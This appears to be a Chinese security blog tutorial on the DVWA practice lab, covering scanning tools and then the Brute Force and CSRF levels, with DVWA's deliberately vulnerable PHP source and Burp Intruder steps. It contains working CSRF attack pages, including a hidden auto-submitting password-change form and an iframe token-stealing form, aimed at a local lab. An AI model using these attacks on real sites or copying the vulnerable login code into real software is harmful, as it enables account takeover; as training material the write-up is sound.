文章目录
前言
文章同步于我的个人博客https://quan9i.top/websecurity3/,欢迎大家访问
上传简单的介绍了一下各种漏洞,今天我们来讲一下工具的使用,希望对正在学习的师傅们能够有所帮助
漏洞扫描工具
常用的是AWVS
,它可以扫描出网站存在哪种漏洞,这里提供一下下载的链接
网页链接:https://pan.baidu.com/s/1FIwYHIEKfLf4XAyeXfhVnA
提取码:6sa8
安装教程
https://www.cnblogs.com/chun-xiaolin001/p/10060830.html
还有这个也可以
https://blog.csdn.net/weixin_46318141/article/details/121058698
使用教程
http://blog.tianles.com/89.html
SQL漏洞检测
SQL注入常用的是SQLmap,但是sqlmap这个工具需要python环境,因此我们需要先安装python,安装python的教程可以看这篇文章
python及其编译器安装
然后呢,再安装SQLmap,官网链接https://sqlmap.org/
sqlmap安装教程https://www.jianshu.com/p/6f4451e79d6e
有关sqlmap的使用和基础命令,可以查看这篇文章https://quan9i.top/sqlmap/
网页工具使用
搜索引擎大多都可以设置高级搜索,里面可以精确的设置搜索范围等等,由于比较简单,不再演示
我们知道,现在已经处于一种万物互联的时代,什么是万物互联呢,简单理解的话就是家里的摄像头,电脑,手机都可以同步到互联网上,我们可以通过钟馗之眼和fofa来进行更精确的检测
如果不熟悉搜索规则,可以在钟馗之眼的搜索助手中进行查看
DVWA搭建
DVWA搭建首先需要有php+mysql+apache环境,Apache是什么?就是一个能提供Http服务的Web服务器。apache的作用是解析网页文件,mysql是提供数据支持
Apache是一个Web服务器: 基于Http/Https/Websocket等协议对外部提供数据、文件的获取功能。
PHP是可编程的脚本语言: 提供基本的运算和逻辑处理的功能,可以很好的应用于Web网站功能需求的开发。
MySQL是一种关系型数据库: 用于存储、修改、获取和管理数据的工具,可以通过结构化查询语言(SQL)进行数据库的管理。
apache和php的关系
Apache和PHP解释器之间的关系,是调用和被调用之间的关系,Apache主动调用PHP解释器去执行PHP脚本文件,PHP解释器被Apache调用。
PHP和MySql之间的关系
PHP和Mysql之间的关系,也是调用和被调用的关系,PHP通过SQL语言调用Mysql进行数据库的管理功能,Mysql数据库总是被动的接受操作指令。
参考文章Apache、PHP和Mysql之间的关系
而phpstudy这个集成环境正好有这个三个,有phpstudy后安装dvwa压缩包即可,dvwa官网http://www.dvwa.co.uk/
安装教程DVWA安装
Brute Force
low
<?php
if( isset( $_GET[ 'Login' ] ) ) { //提交非空
// Get username
$user = $_GET[ 'username' ]; //传入username
// Get password
$pass = $_GET[ 'password' ]; //传入password
$pass = md5( $pass );//对密码进行md5加密
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//在数据库中寻找对应的用户
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//这里的自定义全局变量应该是连接数据库的,用代码来说的话就是$GLOBALS["___mysqli_ston"] = mysqli_connect($hostname, $username, $pwd));
// or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) 这句话是和前面一起看的,如果前面那条语句连接成功了,这个直接输出结果就是1
if( $result && mysqli_num_rows( $result ) == 1 ) {
//如果result变量和$result中的结果都为1
// Get users details
$row = mysqli_fetch_assoc( $result );
//将result作为关联数组赋值给row
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
//关闭数据库连接并赋值给$___mysqli_res,如果它不是空就返回$___mysqli_res
}
?>
观察源代码,有一句话不是很好理解,我在此对其进行相关解释
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
首先我们需要知道php中也存在三元运算符,条件?xxx:yyy
当条件执行结果为1时,运行xxx代码,否则运行yyy,我们需要知道下面两者是不同的
1 or die(xx) ?y:z //此时直接输出结果为1,后面的三元运算符压根就不看
0 or die(xx) ?y:z //此时他需要执行die(xx),再根据返回结果确定是执行y还是执行z
本地测试如下
我们先看第一部分
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) :
这里他自定义了一个全局变量,他要从这个里面寻找变量query,不难猜测出这里自定义的全局变量
是连接sql数据库的,其可以大致理解为
$GLOBALS["___mysqli_ston"] = mysqli_connect($hostname, $username, $pwd));
当成功在寻找到的时候,那么这个是不是就会返回1,此时就直接跳过后面代码,到下面了
此时我们查看die的用法(官网说的是它是exit()的别名,输出举例子感觉更好理解)
此时想想上面是1,那是true,是不是就直接往后看,直接执行下面了,如果前面为0的话,它就会执行die里的语句,也就是看是数据库是否连接成功,连接成功时返回1, 此时执行mysqli_error($GLOBALS["___mysqli_ston"]
,连接成功了那肯定无报错信息,此时它就是1,然后往下执行,如果没连接上的话,执行$___mysqli_res = mysqli_connect_error()
,这个是将错误信息返回给$___mysqli_res
,此时他如果返回的结果为1,就执行$___mysqli_res
,否则返回false
合起来看它的含义就是看名字和密码是否能够匹配成功,匹配成功的话就输出欢迎,然后配个图,不能匹配成功的话就看是否数据库连接成功,如果没连接成功就将报错信息输出
那么本关是暴力破解,我们先随便输入,然后抓包,发送到intruder模块,此时再选择类型,如下图
然后在下方添加常见的弱口令用户名
同理设置第二个
开启爆破
Medium
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
本关的不同点在于mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass
,对传入的参数中的特殊符号进行了转义,此时sql注入基本的姿势就无法成功执行了,但不影响暴力破解,同上关即可
High
Brute Force Source
vulnerabilities/brute/source/high.php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
多了个验证user_token的,不过我们可以利用bp来构造token
依然和之前相同,进行bp抓包发送到intruder模块,此时选择pitchfork
并设置密码和token为变量
此时将线程更改为1(因为Recursive_Grep模式不支持多线程攻击)
然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置
(点refetch responce即可获取信息)
选择红色标记的地方的含义是每次刷新后从响应中获取该值,此时将token值记录下来,划到下方
选择总是允许重定向
回头选择payload中,1依然同之前
第二个选择recursive gerp
,并将token值添加到 first request
后面,此时开启爆破
成功获取密码
IMpossible
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
拥有密码锁定,因此我们同上关的猜测的话,是难以猜测出结果的,因为还没运行几次,就会锁定,很难得出正确的
CSRF
这里以DVWA来进行讲解
LOW
观察源码
<?php
if( isset( $_GET[ 'Change' ] ) ) { //检测change中是否为空
// Get input
$pass_new = $_GET[ 'password_new' ]; //传入新密码
$pass_conf = $_GET[ 'password_conf' ];//传入验证的新密码
// Do the passwords match?
if( $pass_new == $pass_conf ) { //如果新密码与验证的相等
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//当全局变量___mysqli_ston非空且是一个对象是就对新密码进行检测,过滤空格这种,否则就创建错误消息
$pass_new = md5( $pass_new );
//对新密码进行md5加密
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
//在mysql中执行更改更改密码语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
函数介绍
mysqli_query() 函数执行某个针对数据库的查询。
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。转义的大多是\n \t这种
is_object () 函数用于检测变量是否是一个对象
mysqli_error() 函数返回最近调用函数的最后一个错误描述。
die() 函数输出一条消息,并退出当前脚本。
该函数是 exit() 函数的别名。
如果 status 是字符串,则该函数会在退出前输出字符串。
如果 status 是整数,这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留,不会被使用。状态 0 用于成功地终止程序。
mysqli_query() 函数执行某个针对数据库的查询。
它的大意呢就是你输入新密码和验证密码,如果两者相等,就会匹配成功
我们修改密码为admin
显示修改成功,此时我们再次登录发现确实修改过了,而他这个过程是怎么实现的呢,此时可以看一下url,你会发现url后面多了点参数
http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
而当我们在url中把admin修改为quan9i
发现显示修改成功,同时意味着成功
那我们平常遇到的CSRF都是包装隐藏起来的,比如我们构造一个html界面,打开直接就修改了密码,这种是平常会遇到的,表单构造代码如下
<html>
<body onload="javascript:csrf()"> //当页面载入完毕后执行csrf中的代码
<script>
function csrf(){
document.getElementById("button").click();
}
</script>
<style>
form{
display:none;
}
</style>
<form action="http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/" method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new" value="test"><br />
//AUTOCOMPLETE="off"含义其实就是清除了之前输入的密码缓存,比如你输入过quan9i后,下次输入他会下方有个框提示quan9i,这个就是避免了这种的出现
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"><br />
<br />
<input type="submit" id="button" name="Change" value="Change" />
</form>
</body>
</html>
打开这个html文件
直接提示密码修改完成,此时的密码就是test
MEdium
观察源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
函数介绍
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
$_SERVER 是 PHP 预定义变量之一,可以直接使用,它是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组。
$_SERVER 数组中的元素由 Web 服务器创建,但不能保证每个服务器都提供全部元素,有的服务器可能会忽略一些,或者提供一些没有在这里列举出来的元素。
我们知道referer头是来检测你从哪里来的,那上面一段话的含义其实就是检查这个是不是来自于界面上的,我们之前构造的表单此时再次打开,就会出错
那我们可以查看他的正常时的referer,在提交表单后抓包伪造referer即可
可以看出正常的referer是http://127.0.0.1:8080/DVWA-master/index.php
,我们抓表单的包,添加referer字段提交
High
观察源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码中加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
因此我们可以构造一个界面,先来获取用户的token,然后再进行修改密码
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
这个只是演示,可以修改成功,而实际情况下是无法成功的,因为涉及了跨域请求,跨域请求时我们无法直接获得另一个ip的user-token,除非另一个ip主动向我们发送请求
impossible
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这关不仅有user-token,还利用了PDO对网页进行防护,并且有密码输错多次后锁定,在不知情密码的情况下,我们是无法进行CSRF的。
Command Injection
可以看我的这两篇文章
https://blog.csdn.net/Reme_mber/article/details/122708961?spm=1001.2014.3001.5502
https://xz.aliyun.com/t/10947